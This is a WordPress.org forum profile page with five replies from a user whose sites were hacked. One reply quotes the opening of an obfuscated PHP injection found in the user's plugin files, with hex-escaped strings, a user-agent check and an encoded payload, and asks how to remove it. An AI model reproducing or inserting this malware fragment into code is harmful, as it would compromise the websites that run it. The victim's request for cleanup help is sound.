Title: apolonius's Replies | WordPress.org

---

# apolonius

  [  ](https://wordpress.org/support/users/apolonius/)

 *   [Profile](https://wordpress.org/support/users/apolonius/)
 *   [Topics Started](https://wordpress.org/support/users/apolonius/topics/)
 *   [Replies Created](https://wordpress.org/support/users/apolonius/replies/)
 *   [Reviews Written](https://wordpress.org/support/users/apolonius/reviews/)
 *   [Topics Replied To](https://wordpress.org/support/users/apolonius/replied-to/)
 *   [Engagements](https://wordpress.org/support/users/apolonius/engagements/)
 *   [Favorites](https://wordpress.org/support/users/apolonius/favorites/)

 Search replies:

## Forum Replies Created

Viewing 5 replies - 1 through 5 (of 5 total)

 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Media Library Broken- Getting sick of WordPress now](https://wordpress.org/support/topic/media-library-broken-getting-sick-of-wordpress-now/)
 *  Thread Starter [apolonius](https://wordpress.org/support/users/apolonius/)
 * (@apolonius)
 * [11 years, 4 months ago](https://wordpress.org/support/topic/media-library-broken-getting-sick-of-wordpress-now/#post-5743880)
 * my site is hosted in sweden. Permissions are all set to 0644, whatever that means.
   I would understand that page you linked to about as much if it was written in
   elvish.
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Plugins have disappeared. Not Hacked](https://wordpress.org/support/topic/plugins-have-disappeared-not-hacked/)
 *  Thread Starter [apolonius](https://wordpress.org/support/users/apolonius/)
 * (@apolonius)
 * [11 years, 6 months ago](https://wordpress.org/support/topic/plugins-have-disappeared-not-hacked/#post-5533436)
 * ok, i have checked several php files and they all begin with code like this:
 * `<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\
   x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr(
   $ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\
   x61\156\x75\156\x61"]=1; } ?><?php $aawdhhcnjt = 'VPFNJU,6<*27-SFGTOBS7y]672]
   48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<5c%x7825mm)%x5c%x7825%x5c%x7878:-!%
   x5c%x7825tV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfVx5c%
   x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825wR85,67R37,18R#>q%x5c25b:
   >%x5c%x7825s:%x5c%x785c%xx5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj%x7825!*
   9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy%vufs!|ftmf!~<**9.-j%x5c%x78gj!|!*msv%x5c%
   x7825)}k~~~<ftmbg!os%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;#825t2w)##Qtjw)#]82#-#!#-%
   x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%x24-!%x5c%x7825%x5c%x7824-%x5c%x7824*!
   |!%x5c%x7824-%x5c%x7824x5c%x7825!*3!%x5c%x785c%x7825b:>1<!gps)%x5c%x7825j:>1<%
   x5c%x7825j:=tj{fpg)%x5c%x7825%x64%145%x28%141%x72%162%xx7824-%x5c%x7824]26%x5c%
   x7824-%x5c%x7824<%x5c%x7825%x5c%x7825hIr%x5c%x785c1^-%x5c%x7%x7827tfs%x5c%x78256
   <*17-SFEBFI,6<*127-U23zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x78946:ce44#)zbssb!
   >!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x786#0#)idubn%x5c%x7860hfsq)!x5c%x7825)
   kV%x5c%x7878{**#k#)tutjyf%x5c%x786FGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7dy)##-!#~<%
   x5c%x7825h00#*`
 * etc, etc…
 * what do I need to do to resolve this? can i just strip out all this code?
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Plugins have disappeared. Not Hacked](https://wordpress.org/support/topic/plugins-have-disappeared-not-hacked/)
 *  Thread Starter [apolonius](https://wordpress.org/support/users/apolonius/)
 * (@apolonius)
 * [11 years, 6 months ago](https://wordpress.org/support/topic/plugins-have-disappeared-not-hacked/#post-5533394)
 * I have run the exploit plugin and checked for zesk in .php files. I have also
   used an online malware checker. When I install new plugins I get no errors.
 *   Forum: [Themes and Templates](https://wordpress.org/support/forum/themes-and-templates/)
   
   In reply to: [Colon cleanse link in footer!](https://wordpress.org/support/topic/colon-cleanse-link-in-footer/)
 *  Thread Starter [apolonius](https://wordpress.org/support/users/apolonius/)
 * (@apolonius)
 * [16 years, 7 months ago](https://wordpress.org/support/topic/colon-cleanse-link-in-footer/#post-1261075)
 * Well I wasn’t being ungrateful, I just haven’t had time to try what songdogtech
   suggested, and I wonder if it’s worth going through all that if the theme is 
   in fact compromised. I did have a brief look through the instructions and was
   a bit unsure of how to proceed as WP is provided by my host and installed via
   control panel x / fantastico deluxe, so I need to consider how to reinstall manually
   via ftp and again if it is worth the grief.
 * As to the theme itself, it was a free download. It’s available in lots of places
   on the interwebs. If you are implying that it is stolen or illegal in some way
   then I can only plead ignorance to this, in fact I can only plead ignorance to
   most things WordPress, please don’t confuse this with rudeness as thats not my
   intention. I merely want to know if this sort of hacking is commonplace on WP,
   or if it is only an issue with compromised themes- Or if I should just go back
   to writing my own code and stay away from commercial blogging altogether.
 * the domain is [http://www.guybeggs.com/blog](http://www.guybeggs.com/blog)
 * thanks
 *   Forum: [Themes and Templates](https://wordpress.org/support/forum/themes-and-templates/)
   
   In reply to: [Colon cleanse link in footer!](https://wordpress.org/support/topic/colon-cleanse-link-in-footer/)
 *  Thread Starter [apolonius](https://wordpress.org/support/users/apolonius/)
 * (@apolonius)
 * [16 years, 7 months ago](https://wordpress.org/support/topic/colon-cleanse-link-in-footer/#post-1260974)
 * oh great. So my blog is less than a day old and it gets hacked. Does this happen
   a lot?
 * thanks for the link.

Viewing 5 replies - 1 through 5 (of 5 total)